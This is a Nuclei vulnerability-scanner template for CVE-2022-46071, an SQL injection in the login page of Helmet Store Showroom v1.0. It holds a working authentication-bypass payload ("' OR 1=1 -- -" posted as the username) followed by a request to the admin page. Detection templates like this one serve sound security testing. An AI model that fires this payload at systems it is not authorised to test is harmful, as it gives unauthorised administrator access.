nuclei-templates/http/cves/2022/CVE-2022-46071.yaml

48 lines
1.6 KiB
YAML

id: CVE-2022-46071
info:
name: Helmet Store Showroom v1.0 - SQL Injection
author: Harsh
severity: critical
description: |
There is SQL Injection vulnerability at Helmet Store Showroom v1.0 Login Page. This vulnerability can be exploited to bypass admin access.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://yuyudhn.github.io/CVE-2022-46071/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46071
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-46071
cwe-id: CWE-89
epss-score: 0.01462
epss-percentile: 0.85262
cpe: cpe:2.3:a:helmet_store_showroom_site_project:helmet_store_showroom_site:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: helmet_store_showroom_site_project
product: helmet_store_showroom_site
tags: cve,cve2022,sqli,admin-bypass,helmet
http:
- raw:
- |
POST /classes/Login.php?f=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username='+OR+1%3D1+--+-&password=1234
- |
GET /admin/ HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(body_2, "Helmet Store") && contains(body_2, "Adminstrator Admin")'
condition: and
# digest: 4b0a004830460221008d23f2fc7233cb797c84f819c6bf4c2f246439d7d4a60ccfa5833a45d16bd497022100f77083d3b4b57dd3b8b12e8f713dbcdb2f9cbee222f17af9bbd4576befd8c1b9:922c64590222798bb761d5b6d8e72950